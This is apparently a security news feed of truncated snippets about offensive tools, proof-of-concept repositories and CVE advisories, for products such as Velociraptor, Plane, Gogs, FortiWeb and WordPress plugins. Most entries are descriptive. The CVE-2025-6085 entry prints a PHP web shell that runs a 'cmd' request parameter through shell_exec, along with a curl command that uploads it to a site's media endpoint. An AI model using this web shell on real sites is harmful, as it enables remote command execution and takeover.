maldev-for-dummies

Malware Development for Dummies In the age of EDR, red team operators cannot get away with using pre-compiled payloads anymore. As such, malware development is becoming a vital skill for any operator. Getting started with maldev may seem daunting, but is actually very easy. This workshop will sho...

CVE-2026-78412

Velociraptor's WatchEvent gRPC API can specify the OrgId of the org from which events should be streamed. The server checks the API permissions against the caller's Org instead of the requested Org. This allows a user with API access in one org to read events from another org for which they have ...

CVE-2026-104968

Plane is an open-source project management tool. Prior to 1.4.0, GET /api/workspaces/slug/entity-search/?querytype=usermention returns workspace-member display names, UUIDs, and avatar URLs to any authenticated user who knows the workspace slug, even when the caller is not a workspace member. The...

CVE-2026-104960

Plane is an open-source project management tool. Prior to 1.4.0, Plane exposes the workspace-scoped GET /api/assets/v2/workspaces/workspaceslug/download/assetid/ endpoint for project-bound FileAsset objects without enforcing access to the asset's owning project. An authenticated user who belongs ...

CVE-2026-104962

Plane is an open-source project management tool. Prior to 1.4.0, GET /api/v1/workspaces/slug/projects/projectid/members/ returns the complete project-member roster, including each member's email address, first and last name, display name, avatar, and role. ProjectMemberPermission gates the...

BARK

BARK BARK는 BloodHound Attack Research Kit의 약자입니다. BloodHound Enterprise 팀이 남용 프리미티브를 연구하고 지속적으로 검증하는 데 도움을 주기 위해 제작된 PowerShell 스크립트입니다. BARK는 현재 Microsoft의 Azure 제품 및 서비스 제품군에 중점을 둡니다. BARK는 타사 종속성이 필요하지 않습니다. BARK의 함수는 가능한 한 간단하고 유지 관리하기 쉽도록 설계되었습니다. 대부분의 함수는 다양한 REST API 엔드포인트에 요청을 보내기 위한 매우 간...

burp_global_match_replace

글로벌 매치 & 리플레이스 GMR Burp Suite 확장 프로그램 글로벌 매치 & 리플레이스GMR는 Burp Suite에 매치/리플레이스 규칙을 추가하여 전역적으로 또는 선택한 여러 도구Repeater, Intruder, Proxy 등에 적용할 수 있게 합니다. 요청 및 응답별 diff를 제공하여 정확히 무엇이 변경되었는지 확인할 수 있습니다. 이 확장 프로그램은 Burp Montoya API를 사용합니다. 기능 전역 매치/리플레이스 — Burp 도구 전반Proxy뿐만 아니라에 적용 규칙 기반 엔진 — 규칙별 대상 지정요청/...

EDRs

EDRs 이 저장소에는 레드팀 모의훈련 중 유용한 EDR에 대한 정보가 포함되어 있습니다. patchsyscalldynamically64.c 이 PoC는 원격 호스트에서 실행 중인 버전을 확인할 필요 없이 syscall ID를 동적으로 해석합니다. 디스크에 있는변조되지 않은 정보를 얻기 위해 CreateFileMapping 및 MapViewOfFile Windows API 호출이 수행됩니다. 그런 다음 DLL을 파싱하여 데이터를 검색하고 이를 사용해 라이브 코드를 패치합니다. patchsyscall64.c 이 PoC는 코드에...

LibTP

LibTP Threadpool을 통해 Nt API 호출을 프록시하기 위한 공유 Crystal Palace 라이브러리입니다. 크레딧 Raphael Mudge, Adversary Fan Fiction Writers Guild Chetan Nayak, Dark Vortex...

route-detect

route-detect Find authentication authn and authorization authz security bugs in web application routes: Routes fromkoel streaming server Web application HTTP route authn and authz bugs are some of the most common security issues found today. These industry standard resources highlight the severit...

CVE-2025-8110-gogs-poc

CVE-2025-8110 — Gogs 임의 파일 쓰기 PoC 인증된 사용자가 Gogs에서 임의 파일을 쓸 수 있는 개념 증명PoC입니다. 저장소 외부를 가리키는 심볼릭 링크가 포함된 저장소를 푸시한 다음 API를 통해 해당 링크의 내용을 업데이트하면, 인증된 사용자가 Gogs를 실행 중인 계정의 권한으로 호스트의 파일을 덮어쓸 수 있습니다. 승인된 테스트 및 교육용으로만 사용하세요. 소유한 시스템이나 명시적인 서면 승인을 받은 시스템에서만 실행하세요. 사용으로 인한 책임은 본인에게 있습니다. 작동 방식 1. 기존 계정으로...

restler-fuzzer

RESTler What is RESTler? RESTler is the first stateful REST API fuzzing tool for automatically testing cloud services through their REST APIs and finding security and reliability bugs in these services. For a given cloud service with an OpenAPI formerly Swagger specification, RESTler analyzes its...

restler-fuzzer

RESTler RESTler란 무엇인가? RESTler는 클라우드 서비스의 REST API를 통해 자동으로 테스트하고 보안 및 안정성 버그를 찾는 최초의 상태 저장 REST API 퍼징 도구 입니다. OpenAPI이전 Swagger 사양을 가진 클라우드 서비스의 경우, RESTler는 전체 사양을 분석한 다음 REST API를 통해 서비스를 실행하는 테스트를 생성하고 실행합니다. RESTler는 OpenAPI 정의에서 요청 유형 간의 생산자-소비자 종속성을 지능적으로 추론합니다. 테스트 중에 특정 버그 클래스를 확인하고 이전...

CVE-2026-57811

CVE-2026-57811 — Realtyna Organic IDX + WPL Real Estate 인증 없는 원격 코드 실행RCE -red.svg 치명적인 인증 없는 원격 코드 실행 CVSS 10.0 — Realtyna Organic IDX + WPL Real Estate ≤ 5.2.0 이 도구는 Realtyna Organic IDX + WPL Real Estate WordPress 플러그인의 CVE-2026-57811 치명적인 취약점을 악용합니다. 이 취약점은 인증되지 않은 공격자 가 더 이상 사용되지 않는 모바일 API...

CVE-2025-25257

목차 개요 취약점 세부 정보 개념 증명 PoC Trolled2 Trolled3 개요 CVE-2025-25257는 사전 인증 SQL 인젝션 취약점 으로, Fortinet FortiWeb Fabric Connector 버전 7.0부터 7.6.x까지 영향을 미칩니다. 이 결함을 통해 공격자는 취약한 API 엔드포인트에 악의적인 SQL 명령을 주입할 수 있으며, 잠재적으로 원격 코드 실행RCE으로 이어질 수 있습니다. 이 저장소는 SQL 인젝션 벡터를 안전하고 통제된 방식으로 설명하는 PoC 를 포함하고 있습니다. 오픈 소스로 제공되...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ 업로드 폴더에 셸이 위치하게 되면 다음과 같이...

CVE-2026-78412 WatchEvent API streams another organization's live events

Velociraptor's WatchEvent gRPC API can specify the OrgId of the org from which events should be streamed. The server checks the API permissions against the caller's Org instead of the requested Org. This allows a user with API access in one org to read events from another org for which they have ...

EUVD-2026-92485

Velociraptor's WatchEvent gRPC API can specify the OrgId of the org from which events should be streamed. The server checks the API permissions against the caller's Org instead of the requested Org. This allows a user with API access in one org to read events from another org for which they have ...

CVE-2026-78412

Velociraptor's WatchEvent gRPC API is vulnerable to an authorization bypass (CWE-639). The server incorrectly validates API permissions against the caller's organization rather than the requested organization's OrgId . This flaw allows an authenticated user with API access in one organization to ...

pyghidra-mcp

PyGhidra-MCP - Ghidra 모델 컨텍스트 프로토콜 서버 개요 pyghidra-mcp는 강력한 소프트웨어 리버스 엔지니어링SRE 제품군인 Ghidra의 모든 분석력을 지능형 에이전트와 LLM 기반 도구의 세계로 가져오는 명령줄 Model Context ProtocolMCP 서버입니다. pyghidra와 jpype를 사용하여 Ghidra의 ProgramAPI 및 FlatProgramAPI를 Python에 연결한 다음, 해당 기능을 Model Context Protocol을 통해 노출합니다. MCP는 언어 모델, 개발...